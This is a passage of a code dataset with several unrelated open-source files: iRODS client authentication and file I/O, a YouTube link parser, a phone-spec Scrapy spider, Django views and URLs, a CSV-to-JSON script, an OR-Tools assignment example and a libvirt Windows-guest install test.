pamPassword=pam_password,\n                timeToLive=time_to_live_in_seconds)\n        else:\n\n            message_body = PluginAuthMessage(\n                auth_scheme_ = PAM_AUTH_SCHEME,\n                context_ = ctx)\n\n        auth_req = iRODSMessage(\n            msg_type='RODS_API_REQ',\n            msg=message_body,\n            int_info=(725 if Pam_Long_Tokens else 1201)\n        )\n\n        self.send(auth_req)\n        # Getting the new password\n        output_message = self.recv()\n\n        Pam_Response_Class = (PamAuthRequestOut if Pam_Long_Tokens\n                         else AuthPluginOut)\n\n        auth_out = output_message.get_main_message( Pam_Response_Class )\n\n        self.disconnect()\n        self._connect()\n\n        if hasattr(self.account,'store_pw'):\n            drop = self.account.store_pw\n            if type(drop) is list:\n                drop[:] = [ auth_out.result_ ]\n\n        self._login_native(password=auth_out.result_)\n\n        logger.info(\"PAM authorization validated\")\n\n    def read_file(self, desc, size=-1, buffer=None):\n        if size < 0:\n            size = len(buffer)\n        elif buffer is not None:\n            size = min(size, len(buffer))\n\n        message_body = OpenedDataObjRequest(\n            l1descInx=desc,\n            len=size,\n            whence=0,\n            oprType=0,\n            offset=0,\n            bytesWritten=0,\n            KeyValPair_PI=StringStringMap()\n        )\n        message = iRODSMessage('RODS_API_REQ', msg=message_body,\n                               int_info=api_number['DATA_OBJ_READ_AN'])\n\n        logger.debug(desc)\n        self.send(message)\n        if buffer is None:\n            response = self.recv()\n        else:\n            response = self.recv_into(buffer)\n\n        return response.bs\n\n    def _login_native(self, password=None):\n\n        # Default case, PAM login will send a new password\n        if password is None:\n            password = self.account.password or ''\n\n        # authenticate\n        auth_req = iRODSMessage(msg_type='RODS_API_REQ', int_info=703)\n        self.send(auth_req)\n\n        # challenge\n        challenge_msg = self.recv()\n        logger.debug(challenge_msg.msg)\n        challenge = challenge_msg.get_main_message(AuthChallenge).challenge\n\n        # one \"session\" signature per connection\n        # see https://github.com/irods/irods/blob/4.2.1/plugins/auth/native/libnative.cpp#L137\n        # and https://github.com/irods/irods/blob/4.2.1/lib/core/src/clientLogin.cpp#L38-L60\n        if six.PY2:\n            self._client_signature = \"\".join(\"{:02x}\".format(ord(c)) for c in challenge[:16])\n        else:\n            self._client_signature = \"\".join(\"{:02x}\".format(c) for c in challenge[:16])\n\n        if six.PY3:\n            challenge = challenge.strip()\n            padded_pwd = struct.pack(\n                \"%ds\" % MAX_PASSWORD_LENGTH, password.encode(\n                    'utf-8').strip())\n        else:\n            padded_pwd = struct.pack(\n                \"%ds\" % MAX_PASSWORD_LENGTH, password)\n\n        m = hashlib.md5()\n        m.update(challenge)\n        m.update(padded_pwd)\n        encoded_pwd = m.digest()\n\n        if six.PY2:\n            encoded_pwd = encoded_pwd.replace('\\x00', '\\x01')\n        elif b'\\x00' in encoded_pwd:\n            encoded_pwd_array = bytearray(encoded_pwd)\n            encoded_pwd = bytes(encoded_pwd_array.replace(b'\\x00', b'\\x01'))\n\n\n        pwd_msg = AuthResponse(\n            response=encoded_pwd, username=self.account.proxy_user)\n        pwd_request = iRODSMessage(\n            msg_type='RODS_API_REQ', int_info=api_number['AUTH_RESPONSE_AN'], msg=pwd_msg)\n        self.send(pwd_request)\n        self.recv()\n\n    def write_file(self, desc, string):\n        message_body = OpenedDataObjRequest(\n            l1descInx=desc,\n            len=len(string),\n            whence=0,\n            oprType=0,\n            offset=0,\n            bytesWritten=0,\n            KeyValPair_PI=StringStringMap()\n        )\n        message = iRODSMessage('RODS_API_REQ', msg=message_body,\n                               bs=string,\n                               int_info=api_number['DATA_OBJ_WRITE_AN'])\n        self.send(message)\n        response = self.recv()\n        return response.int_info\n\n    def seek_file(self, desc, offset, whence):\n        message_body = OpenedDataObjRequest(\n            l1descInx=desc,\n            len=0,\n            whence=whence,\n            oprType=0,\n            offset=offset,\n            bytesWritten=0,\n            KeyValPair_PI=StringStringMap()\n        )\n        message = iRODSMessage('RODS_API_REQ', msg=message_body,\n                               int_info=api_number['DATA_OBJ_LSEEK_AN'])\n\n        self.send(message)\n        response = self.recv()\n        offset = response.get_main_message(FileSeekResponse).offset\n        return offset\n\n    def close_file(self, desc, **options):\n        message_body = OpenedDataObjRequest(\n            l1descInx=desc,\n            len=0,\n            whence=0,\n            oprType=0,\n            offset=0,\n            bytesWritten=0,\n            KeyValPair_PI=StringStringMap(options)\n        )\n        message = iRODSMessage('RODS_API_REQ', msg=message_body,\n                               int_info=api_number['DATA_OBJ_CLOSE_AN'])\n\n        self.send(message)\n        self.recv()\n\n    def temp_password(self):\n        request = iRODSMessage(\"RODS_API_REQ\", msg=None,\n                               int_info=api_number['GET_TEMP_PASSWORD_AN'])\n\n        # Send and receive request\n        self.send(request)\n        response = self.recv()\n        logger.debug(response.int_info)\n\n        # Convert and return answer\n        msg = response.get_main_message(GetTempPasswordOut)\n        return obf.create_temp_password(msg.stringToHashWith, self.account.password)\n","repo_name":"irods/python-irodsclient","sub_path":"irods/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":22331,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"18"}
{"seq_id":"28184357080","text":"import re\nimport sys\n\n\ndef main():\n    print(parse(input(\"HTML: \")))\n\n\ndef parse(s):\n    if re.search(r\"^.+src=.+youtube\\.com.+>.+$\",s):\n        saperation = s.split('/embed/')\n        lastpart =''\n        for ch in saperation[1]:\n            if ch == \"'\" or ch == '\"':\n                break\n            else:\n                lastpart += ch\n        if lastpart =='':\n            return None\n        else:\n            return (f'https://youtu.be/{lastpart}')\n\n\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"OziMoa/CS50works","sub_path":"watch/watch.py","file_name":"watch.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28603762882","text":"import scrapy\n\n\nclass GSMArenaSpider(scrapy.Spider):\n    name = \"gsmarenaspider\"\n    # allowed_domains = ['gsmarena.com']\n\n    custom_settings = {\n        'DOWNLOAD_DELAY': 10\n    }\n\n    def start_requests(self):\n        brands_links = ['samsung-phones-9.php', 'apple-phones-48.php', 'huawei-phones-58.php', 'nokia-phones-1.php',\n                        'sony-phones-7.php', 'lg-phones-20.php', 'htc-phones-45.php', 'motorola-phones-4.php',\n                        'lenovo-phones-73.php', 'xiaomi-phones-80.php', 'google-phones-107.php',\n                        'honor-phones-121.php', 'oppo-phones-82.php', 'realme-phones-118.php', 'oneplus-phones-95.php',\n                        'vivo-phones-98.php', 'meizu-phones-74.php', 'blackberry-phones-36.php', 'asus-phones-46.php',\n                        'alcatel-phones-5.php', 'zte-phones-62.php', 'microsoft-phones-64.php',\n                        'vodafone-phones-53.php', 'energizer-phones-106.php', 'cat-phones-89.php',\n                        'sharp-phones-23.php', 'micromax-phones-66.php', 'infinix-phones-119.php',\n                        'ulefone_-phones-124.php', 'tecno-phones-120.php', 'doogee-phones-129.php',\n                        'blackview-phones-116.php', 'cubot-phones-130.php', 'oukitel-phones-132.php',\n                        'itel-phones-131.php', 'tcl-phones-123.php', 'makers.php3', 'rumored.php3']\n\n        for link in brands_links:\n            if self.brand in link:\n                yield scrapy.Request(url=\"https://www.gsmarena.com/\" + link, callback=self.parse_find_model)\n                break\n\n    # def parse_find_brand(self, response):\n    #     brands = response.css(\"div[class='brandmenu-v2 light l-box clearfix']\").get()\n    #     for brand in brands.css(\"li\").get():\n    #         link = brand.css(\"a::attr(href)\").get()\n    #         yield {\n    #             \"link\": link\n    #         }\n\n    def parse_find_model(self, response):\n        model = self.model.replace(\"-\", \"_\").lower()\n        found = False\n\n        for product in response.css(\"div.makers li\"):\n            link = product.css(\"a::attr(href)\").get()\n            name = product.css(f\"a[href='{link}'] span::text\").get().lower()\n            if model == name:\n                found = True\n                yield response.follow(link, callback=self.parse_extract_data)\n                break\n\n        if not found:\n            next_page = response.css(\"a[class='pages-next']::attr(href)\").get()\n            if next_page is not None:\n                yield response.follow(next_page, callback=self.parse_find_model)\n\n    def parse_extract_data(self, response):\n        yield {\n            \"deviceName\": response.css(\"h1[class='specs-phone-name-title']::text\").get(),\n            \"released\": response.css(\"td[data-spec='status']::text\").get(),\n            \"displayType\": response.css(\"td[data-spec='displaytype']::text\").get(),\n            \"displaySize\": response.css(\"td[data-spec='displaysize']::text\").get(),\n            \"displayResolution\": response.css(\"td[data-spec='displayresolution']::text\").get(),\n            \"operatingSystem\": response.css(\"td[data-spec='os']::text\").get(),\n            \"chipset\": response.css(\"td[data-spec='chipset']::text\").get(),\n            \"cpu\": response.css(\"td[data-spec='cpu']::text\").get(),\n            \"gpu\": response.css(\"td[data-spec='gpu']::text\").get(),\n            \"frontCamera\": ' '.join(response.css(\"td[data-spec='cam1modules']::text\").extract()),\n            \"backCamera\": response.css(\"td[data-spec='cam2modules']::text\").get(),\n            \"wlan\": response.css(\"td[data-spec='wlan']::text\").get(),\n            \"bluetooth\": response.css(\"td[data-spec='bluetooth']::text\").get(),\n            \"sensors\": response.css(\"td[data-spec='sensors']::text\").get(),\n            \"battery\": response.css(\"td[data-spec='batdescription1']::text\").get()\n        }\n","repo_name":"beni0104/BestPrice","sub_path":"backend/scraper/scraper/spiders/gsmarenaspider.py","file_name":"gsmarenaspider.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13355777722","text":"\nfrom django.views.generic import View\nfrom django.http import HttpResponse\nfrom tools.utils.qizhi_api import create_host\n\n\nclass QiZhiCreateHostAPIView(View):\n\n    def post(self, request, *args, **kwargs):\n        try:\n            group_ids = request.POST.getlist('group', [])\n            hostname = request.POST.get('hostname', None)\n            ip = request.POST.get('ip', None)\n            print(group_ids, hostname, ip)\n            if group_ids and hostname and ip:\n                res = create_host(group_ids, hostname, ip)\n            else:\n                res = '组、主机名、ip 不允许为空！'\n        except Exception as e:\n            res = str(e)\n        return HttpResponse(res)\n","repo_name":"yyukai/oneops","sub_path":"apps/tools/api/qizhi.py","file_name":"qizhi.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"}
{"seq_id":"9783447053","text":"from . import views\nfrom django.urls import path, include\n\nfrom .views import *\n\napp_name = 'calender'\nurlpatterns = [\n    # path(r'index/', views.index, name='index'),\n    path(r'', views.CalendarView.as_view(), name='calendar'),\n    path(r'register/', RegisterUser.as_view(), name='register'),\n    path(r'login/', LoginUser.as_view(), name='login'),\n    path(r'logout/', logout_user, name='logout'),\n    path(r'event/new/', views.event, name='event_new'),\n    path(r'event/edit/(?P<event_id>\\d+)/', views.event, name='event_edit'),\n]\n","repo_name":"Alex37652/course_work","sub_path":"djangoProject3/calender/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27955567034","text":"from django.urls import path\nfrom badhistoricdecks import views\nfrom cardhandler.views import single_card_view, bootstrap_cards, cardform_view\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('users/<int:user_id>/', views.user_detail),\n    path('decks/edit/<int:deck_id>/', views.deck_edit),\n    path('decks/<int:deck_id>/', views.decklist_detail),\n    path('decks/<int:deck_id>/delete', views.decklist_delete_view),\n    path('signup/', views.SignUp.as_view()),\n    path('upload/', views.DeckFormView.as_view()),\n    path('card/<str:name>/', single_card_view),\n    path(\"cardform/\", cardform_view),\n    path(\"bootstrap_cards/\", bootstrap_cards),\n    path('alltags/', views.all_tags_view, name=\"all_tags\"),\n    path('tag/<str:tag_slug>/', views.single_tag_view),\n    path('addtags/<int:deck_id>/', views.add_tag),\n    path('deletetag/<str:tag>/<int:deck_id>', views.delete_tag)\n]\n","repo_name":"marcuschiriboga/magicsite","sub_path":"badhistoricdecks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"26642118044","text":"import csv\nimport json\n\n'''\nline data\n[\n    {\n        \"id\": \"name\",\n        \"data\": [\n            { x: '2018', y: 7 },\n        ]\n    }\n]\n'''\n\ndef make_json(csvFilePath, jsonFilePath):\n\tdata = []\n\twith open(csvFilePath, encoding='utf-8') as csvf:\n\t\tcsvReader = csv.DictReader(csvf)\n\n\t\tfor rows in csvReader:\n\t\t\tdel rows['']\n\t\t\tidName = rows['Concept_name']\n\t\t\trowList = {}\n\t\t\trowList['id'] = idName\n\t\t\trowList['data'] = []\n\t\t    \n\t\t    # loop for each key,\n\t\t\tfor i in range(2004, 2015): \n\t\t\t\t# add this year's data\n\t\t\t\tfor key in rows.keys():\n\t\t\t\t\tif key.startswith(str(i)[2:]):\n\t\t\t\t\t\tif rows[key] != '':\n\t\t\t\t\t\t\trowList['data'].append({\"x\": i, \"y\": int(float(rows[key]))})\n\t\t\t\n\t\t\tdata.append(rowList)\n\n\twith open(jsonFilePath, 'w', encoding='utf-8') as jsonf:\n\t\tjsonf.write(json.dumps(data, indent=2))\n\t\t\n# Driver Code\n\n# Decide the two file paths according to your\n# computer system\ncsvFilePath = r'yearcnt.csv'\njsonFilePath = r'yearcnt.json'\n\n# Call the make_json function\nmake_json(csvFilePath, jsonFilePath)\n\n","repo_name":"TSHOGX/Drug-Database-Visualization","sub_path":"src/data/raw/yearcnt.py","file_name":"yearcnt.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"31208694489","text":"from ortools.graph import pywrapgraph\n# [END import]\n\n\ndef main():\n    \"\"\"Linear Sum Assignment example.\"\"\"\n    # [START solver]\n    assignment = pywrapgraph.LinearSumAssignment()\n    # [END solver]\n\n    # [START data]\n    costs = [\n        [90, 76, 75, 70],\n        [35, 85, 55, 65],\n        [125, 95, 90, 105],\n        [45, 110, 95, 115],\n    ]\n    num_workers = len(costs)\n    num_tasks = len(costs[0])\n    # [END data]\n\n    # [START constraints]\n    for worker in range(num_workers):\n        for task in range(num_tasks):\n            if costs[worker][task]:\n                assignment.AddArcWithCost(worker, task, costs[worker][task])\n    # [END constraints]\n\n    # [START solve]\n    status = assignment.Solve()\n    # [END solve]\n\n    # [START print_solution]\n    if status == assignment.OPTIMAL:\n        print(f'Total cost = {assignment.OptimalCost()}\\n')\n        for i in range(0, assignment.NumNodes()):\n            print(f'Worker {i} assigned to task {assignment.RightMate(i)}.' +\n                  f'  Cost = {assignment.AssignmentCost(i)}')\n    elif status == assignment.INFEASIBLE:\n        print('No assignment is possible.')\n    elif status == assignment.POSSIBLE_OVERFLOW:\n        print(\n            'Some input costs are too large and may cause an integer overflow.')\n    # [END print_solution]\n\n\nif __name__ == '__main__':\n    main()\n# [END Program]\n","repo_name":"GhasseneBouachir/Transition-Coverage","sub_path":"or-tools/ortools/graph/samples/assignment_linear_sum_assignment.py","file_name":"assignment_linear_sum_assignment.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3855044724","text":"import os\nimport re\nimport time\nimport commands\nimport shutil\n\nimport libvirt\nfrom libvirt import libvirtError\n\nfrom libvirttestapi.src import sharedmod\nfrom libvirttestapi.src import env_parser\nfrom libvirttestapi.utils import utils\n\nVIRSH_QUIET_LIST = \"virsh --quiet list --all|awk '{print $2}'|grep \\\"^%s$\\\"\"\nVM_STAT = \"virsh --quiet list --all| grep \\\"\\\\b%s\\\\b\\\"|grep off\"\nVM_DESTROY = \"virsh destroy %s\"\nVM_UNDEFINE = \"virsh undefine %s\"\n\nFLOOPY_IMG = \"/tmp/floppy.img\"\nHOME_PATH = utils.get_base_path()\n\nrequired_params = ('guestname', 'guestos', 'guestarch',)\noptional_params = {'memory': 4194304,\n                   'vcpu': 2,\n                   'disksize': 20,\n                   'diskpath': '/var/lib/libvirt/images/libvirt-test-api',\n                   'imageformat': 'qcow2',\n                   'hddriver': 'virtio',\n                   'nicdriver': 'virtio',\n                   'macaddr': '52:54:00:97:e4:28',\n                   'type': 'define',\n                   'uuid': '05867c1a-afeb-300e-e55e-2673391ae080',\n                   'xml': 'xmls/kvm_windows_guest_install_cdrom.xml',\n                   'guestmachine': 'pc',\n                   'driverpath': '/usr/share/virtio-win/virtio-win_amd64.vfd',\n                   'graphic': 'spice',\n                   'video': 'qxl',\n                   }\n\n\ndef cleanup(mount):\n    \"\"\"Clean up a previously used mountpoint.\n       @param mount: Mountpoint to be cleaned up.\n    \"\"\"\n    if os.path.isdir(mount):\n        if os.path.ismount(mount):\n            logger.error(\"Path %s is still mounted, please verify\" % mount)\n        else:\n            logger.info(\"Removing mount point %s\" % mount)\n            os.rmdir(mount)\n\n\ndef prepare_iso(iso_file):\n    \"\"\"fetch windows iso file\n    \"\"\"\n    # download iso_file into /tmp\n    windows_iso = iso_file.split('/')[-1]\n    iso_local_path = os.path.join(\"/tmp\", windows_iso)\n    if not os.path.exists(iso_local_path):\n        cmd = \"wget \" + iso_file + \" -P \" + \"/tmp\"\n        utils.exec_cmd(cmd, shell=True)\n    return iso_local_path\n\n\ndef prepare_floppy_image(guestname, guestos, guestarch,\n                         windows_unattended_path, cdkey, FLOOPY_IMG):\n    \"\"\"Making corresponding floppy images for the given guestname\n    \"\"\"\n    if os.path.exists(FLOOPY_IMG):\n        os.remove(FLOOPY_IMG)\n\n    create_cmd = 'dd if=/dev/zero of=%s bs=1440k count=1' % FLOOPY_IMG\n    (status, text) = commands.getstatusoutput(create_cmd)\n    if status:\n        logger.error(\"failed to create floppy image\")\n        return 1\n\n    format_cmd = 'mkfs.msdos -s 1 %s' % FLOOPY_IMG\n    (status, text) = commands.getstatusoutput(format_cmd)\n    if status:\n        logger.error(\"failed to format floppy image\")\n        return 1\n\n    floppy_mount = \"/mnt/libvirt_floppy\"\n    if os.path.exists(floppy_mount):\n        logger.info(\"the floppy mount point folder exists, remove it\")\n        shutil.rmtree(floppy_mount)\n\n    logger.info(\"create mount point %s\" % floppy_mount)\n    os.makedirs(floppy_mount)\n\n    try:\n        mount_cmd = 'mount -o loop %s %s' % (FLOOPY_IMG, floppy_mount)\n        (status, text) = commands.getstatusoutput(mount_cmd)\n        if status:\n            logger.error(\n                \"failed to mount /tmp/floppy.img to /mnt/libvirt_floppy\")\n            return 1\n\n        if '2008' in guestos or '7' in guestos or 'vista' in guestos \\\n                or 'win8' in guestos or \"win2012\" in guestos or \"win10\" in guestos:\n            dest_fname = \"autounattend.xml\"\n            source = os.path.join(windows_unattended_path, \"%s_%s.xml\" %\n                                  (guestos, guestarch))\n\n        elif '2003' in guestos or 'xp' in guestos:\n            dest_fname = \"winnt.sif\"\n            setup_file = 'winnt.bat'\n            setup_file_path = os.path.join(windows_unattended_path, setup_file)\n            setup_file_dest = os.path.join(floppy_mount, setup_file)\n            shutil.copyfile(setup_file_path, setup_file_dest)\n            source = os.path.join(windows_unattended_path, \"%s_%s.sif\" %\n                                  (guestos, guestarch))\n\n        dest = os.path.join(floppy_mount, dest_fname)\n\n        unattended_contents = open(source).read()\n        dummy_cdkey_re = r'\\bLIBVIRT_TEST_CDKEY\\b'\n        if re.search(dummy_cdkey_re, unattended_contents):\n            unattended_contents = re.sub(dummy_cdkey_re, cdkey,\n                                         unattended_contents)\n\n        logger.debug(\"Unattended install %s contents:\" % dest_fname)\n        logger.debug(unattended_contents)\n\n        driverpath = guestos[0].upper() + guestos[1:]\n        unattended_contents = unattended_contents.replace('PATHOFDRIVER', driverpath)\n        open(dest, 'w').write(unattended_contents)\n\n    finally:\n        umount_cmd = 'umount %s' % floppy_mount\n        r = 'check mounting status'\n        while r != '':\n            (s, r) = commands.getstatusoutput(\"lsof /mnt/libvirt_floppy|grep mount\")\n        (status, text) = commands.getstatusoutput(umount_cmd)\n        if status:\n            logger.error(\"failed to umount %s\" % floppy_mount)\n            return 1\n\n        cleanup(floppy_mount)\n\n    os.chmod(FLOOPY_IMG, 0o755)\n    logger.info(\"Boot floppy created successfuly\")\n\n    return 0\n\n\ndef prepare_boot_guest(domobj, xmlstr, guestname, installtype):\n    \"\"\" After guest installation is over, undefine the guest with\n        bootting off cdrom, to define the guest to boot off harddisk.\n    \"\"\"\n    xmlstr = xmlstr.replace('<boot dev=\"cdrom\"/>', '<boot dev=\"hd\"/>')\n    xmlstr = re.sub('<disk device=\"floppy\".*\\n.*\\n.*\\n.*\\n.*\\n', '', xmlstr)\n    xmlstr = re.sub('<disk device=\"cdrom\".*\\n.*\\n.*\\n.*\\n.*\\n', '', xmlstr)\n    xmlstr = re.sub('<disk type=\"file\".*\\n.*\\n.*\\n.*\\n.*\\n', '', xmlstr)\n\n    if installtype != 'create':\n        domobj.undefine()\n        logger.info(\"undefine %s : \\n\" % guestname)\n\n    try:\n        conn = domobj._conn\n        domobj = conn.defineXML(xmlstr)\n    except libvirtError as e:\n        logger.error(\"API error message: %s, error code is %s\"\n                     % (e.get_error_message(), e.get_error_code()))\n        logger.error(\"fail to define domain %s\" % guestname)\n        return 1\n\n    logger.info(\"define guest %s \" % guestname)\n    logger.debug(\"the xml description of guest booting off harddisk is %s\" %\n                 xmlstr)\n\n    logger.info('boot guest up ...')\n\n    try:\n        domobj.create()\n    except libvirtError as e:\n        logger.error(\"API error message: %s, error code is %s\"\n                     % (e.get_error_message(), e.get_error_code()))\n        logger.error(\"fail to start domain %s\" % guestname)\n        return 1\n\n    return 0\n\n\ndef check_domain_state(conn, guestname):\n    \"\"\" if a guest with the same name exists, remove it \"\"\"\n    running_guests = []\n    ids = conn.listDomainsID()\n    for id in ids:\n        obj = conn.lookupByID(id)\n        running_guests.append(obj.name())\n\n    if guestname in running_guests:\n        logger.info(\"A guest with the same name %s is running!\" % guestname)\n        logger.info(\"destroy it...\")\n        domobj = conn.lookupByName(guestname)\n        domobj.destroy()\n\n    defined_guests = conn.listDefinedDomains()\n\n    if guestname in defined_guests:\n        logger.info(\"undefine the guest with the same name %s\" % guestname)\n        domobj = conn.lookupByName(guestname)\n        domobj.undefine()\n\n\ndef install_windows_cdrom(params):\n    \"\"\" install a windows guest virtual machine by using iso file \"\"\"\n    # Initiate and check parameters\n    global logger\n    logger = params['logger']\n\n    guestname = params.get('guestname')\n    guestos = params.get('guestos')\n    guestarch = params.get('guestarch')\n\n    if guestos == \"win10\":\n        xmlstr = params.get('xml', 'xmls/kvm_win10_guest_install_cdrom.xml')\n    else:\n        xmlstr = params.get('xml')\n\n    logger.info(\"the name of guest is %s\" % guestname)\n\n    conn = sharedmod.libvirtobj['conn']\n    check_domain_state(conn, guestname)\n\n    logger.info(\"the macaddress is %s\" %\n                params.get('macaddr', '52:54:00:97:e4:28'))\n\n    diskpath = params.get('diskpath', '/var/lib/libvirt/images/libvirt-test-api')\n\n    logger.info(\"disk image is %s\" % diskpath)\n    seeksize = params.get('disksize', 20)\n    imageformat = params.get('imageformat', 'qcow2')\n    if os.path.exists(diskpath):\n        os.remove(diskpath)\n\n    logger.info(\"create disk image with size %sG, format %s\" % (seeksize, imageformat))\n    disk_create = \"qemu-img create -f %s %s %sG\" % \\\n        (imageformat, diskpath, seeksize)\n    logger.debug(\"the command line of creating disk images is '%s'\" %\n                 disk_create)\n\n    (status, message) = commands.getstatusoutput(disk_create)\n    if status != 0:\n        logger.debug(message)\n\n    os.chown(diskpath, 107, 107)\n    logger.info(\"creating disk images file is successful.\")\n\n    # NICDRIVER\n    nicdriver = params.get('nicdriver', 'virtio')\n    if nicdriver == 'virtio' or nicdriver == 'e1000' or nicdriver == 'rtl8139':\n        xmlstr = xmlstr.replace(\"type='virtio'\", \"type='%s'\" % nicdriver)\n    else:\n        logger.error('the %s is unspported by KVM' % nicdriver)\n        return 1\n    logger.info('the nicdriver is %s' % nicdriver)\n\n    # Hard disk type\n    hddriver = params.get('hddriver', 'virtio')\n    if hddriver == 'virtio':\n        xmlstr = xmlstr.replace('DEV', 'vda')\n        if guestarch == \"x86_64\":\n            driverpath = params.get('driverpath', '/usr/share/virtio-win/virtio-win_amd64.vfd')\n            xmlstr = xmlstr.replace('/usr/share/virtio-win/virtio-win_amd64.vfd',\n                                    driverpath)\n        else:\n            driverpath = params.get('driverpath', '/usr/share/virtio-win/virtio-win_x86.vfd')\n            xmlstr = xmlstr.replace('/usr/share/virtio-win/virtio-win_x86.vfd',\n                                    driverpath)\n    elif hddriver == 'ide':\n        xmlstr = xmlstr.replace('DEV', 'hda')\n    elif hddriver == 'scsi':\n        xmlstr = xmlstr.replace('DEV', 'sda')\n        if guestarch == \"x86_64\":\n            driverpath = params.get('driverpath', '/usr/share/virtio-win/virtio-win_amd64.vfd')\n            xmlstr = xmlstr.replace('/usr/share/virtio-win/virtio-win_amd64.vfd',\n                                    driverpath)\n        else:\n            driverpath = params.get('driverpath', '/usr/share/virtio-win/virtio-win_x86.vfd')\n            xmlstr = xmlstr.replace('/usr/share/virtio-win/virtio-win_x86.vfd',\n                                    driverpath)\n\n    logger.info(\"get system environment information\")\n    envfile = os.path.join(HOME_PATH, 'config', 'global.cfg')\n    logger.info(\"the environment file is %s\" % envfile)\n\n    # Graphic type\n    graphic = params.get('graphic', 'spice')\n    xmlstr = xmlstr.replace('GRAPHIC', graphic)\n    logger.info('the graphic type of VM is %s' % graphic)\n\n    video = params.get('video', 'qxl')\n    if video == \"qxl\":\n        video_model = \"<model type='qxl' ram='65536' vram='65536' vgamem='16384' heads='1' primary='yes'/>\"\n        xmlstr = xmlstr.replace(\"<model type='cirrus' vram='16384' heads='1'/>\", video_model)\n\n    logger.info('the video type of VM is %s' % video)\n\n    # Get iso file based on guest os and arch from global.cfg\n    envparser = env_parser.Envparser(envfile)\n    iso_file = envparser.get_value(\"guest\", guestos + '_' + guestarch)\n\n    if \"win7\" in guestos or \"win2008\" in guestos:\n        cdkey = envparser.get_value(\"guest\", \"%s_%s_key\" % (guestos, guestarch))\n    else:\n        cdkey = \"\"\n\n    windows_unattended_path = os.path.join(HOME_PATH,\n                                           \"repos/installation/windows_unattended\")\n\n    logger.debug('install source:\\n    %s' % iso_file)\n    logger.info('prepare pre-installation environment...')\n\n    iso_local_path = prepare_iso(iso_file)\n    xmlstr = xmlstr.replace('WINDOWSISO', iso_local_path)\n\n    status = prepare_floppy_image(guestname, guestos, guestarch,\n                                  windows_unattended_path, cdkey, FLOOPY_IMG)\n    if status:\n        logger.error(\"making floppy image failed\")\n        return 1\n    xmlstr = xmlstr.replace('FLOPPY', FLOOPY_IMG)\n\n    logger.debug('dump installation guest xml:\\n%s' % xmlstr)\n\n    # Generate guest xml\n    installtype = params.get('type', 'define')\n    if installtype == 'define':\n        logger.info('define guest from xml description')\n        try:\n            domobj = conn.defineXML(xmlstr)\n        except libvirtError as e:\n            logger.error(\"API error message: %s, error code is %s\"\n                         % (e.get_error_message(), e.get_error_code()))\n            logger.error(\"fail to define domain %s\" % guestname)\n            return 1\n\n        logger.info('start installation guest ...')\n\n        try:\n            domobj.create()\n        except libvirtError as e:\n            logger.error(\"API error message: %s, error code is %s\"\n                         % (e.get_error_message(), e.get_error_code()))\n            logger.error(\"fail to start domain %s\" % guestname)\n            return 1\n    elif installtype == 'create':\n        logger.info('create guest from xml description')\n        try:\n            conn.createXML(xmlstr, 0)\n        except libvirtError as e:\n            logger.error(\"API error message: %s, error code is %s\"\n                         % (e.get_error_message(), e.get_error_code()))\n            logger.error(\"fail to define domain %s\" % guestname)\n            return 1\n\n    interval = 0\n    while(interval < 7200):\n        time.sleep(20)\n        if installtype == 'define':\n            state = domobj.info()[0]\n            if(state == libvirt.VIR_DOMAIN_SHUTOFF):\n                logger.info(\"guest installaton of define type is complete.\")\n                logger.info(\"boot guest vm off harddisk\")\n                ret = prepare_boot_guest(domobj, xmlstr, guestname, installtype)\n                if ret:\n                    logger.info(\"booting guest vm off harddisk failed\")\n                    return 1\n                break\n            else:\n                interval += 20\n                logger.info('%s seconds passed away...' % interval)\n        elif installtype == 'create':\n            guest_names = []\n            ids = conn.listDomainsID()\n            for id in ids:\n                obj = conn.lookupByID(id)\n                guest_names.append(obj.name())\n\n            if guestname not in guest_names:\n                logger.info(\"guest installation of create type is complete.\")\n                logger.info(\"define the vm and boot it up\")\n                ret = prepare_boot_guest(domobj, xmlstr, guestname, installtype)\n                if ret:\n                    logger.info(\"booting guest vm off harddisk failed\")\n                    return 1\n                break\n            else:\n                interval += 20\n                logger.info('%s seconds passed away...' % interval)\n\n    if interval == 7200:\n        logger.info(\"guest installation timeout 7200s\")\n        return 1\n    else:\n        logger.info(\"guest is booting up\")\n\n    logger.info(\"get the mac address of vm %s\" % guestname)\n    mac = utils.get_dom_mac_addr(guestname)\n    logger.info(\"the mac address of vm %s is %s\" % (guestname, mac))\n\n    timeout = 600\n\n    while timeout:\n        time.sleep(10)\n        timeout -= 10\n\n        ip = utils.mac_to_ip(mac, 0)\n\n        if not ip:\n            logger.info(str(timeout) + \"s left\")\n        else:\n            logger.info(\"vm %s power on successfully\" % guestname)\n            logger.info(\"the ip address of vm %s is %s\" % (guestname, ip))\n\n            break\n\n    if timeout == 0:\n        logger.info(\"fail to power on vm %s\" % guestname)\n        return 1\n\n    time.sleep(60)\n\n    return 0\n\n\ndef install_windows_cdrom_clean(params):\n    \"\"\" clean testing environment \"\"\"\n    logger = params['logger']\n    guestname = params.get('guestname')\n\n    diskpath = params.get('diskpath', '/var/lib/libvirt/images/libvirt-test-api')\n\n    (status, output) = commands.getstatusoutput(VIRSH_QUIET_LIST % guestname)\n    if not status:\n        logger.info(\"remove guest %s, and its disk image file\" % guestname)\n        (status, output) = commands.getstatusoutput(VM_STAT % guestname)\n        if status:\n            (status, output) = commands.getstatusoutput(VM_DESTROY % guestname)\n            if status:\n                logger.error(\"failed to destroy 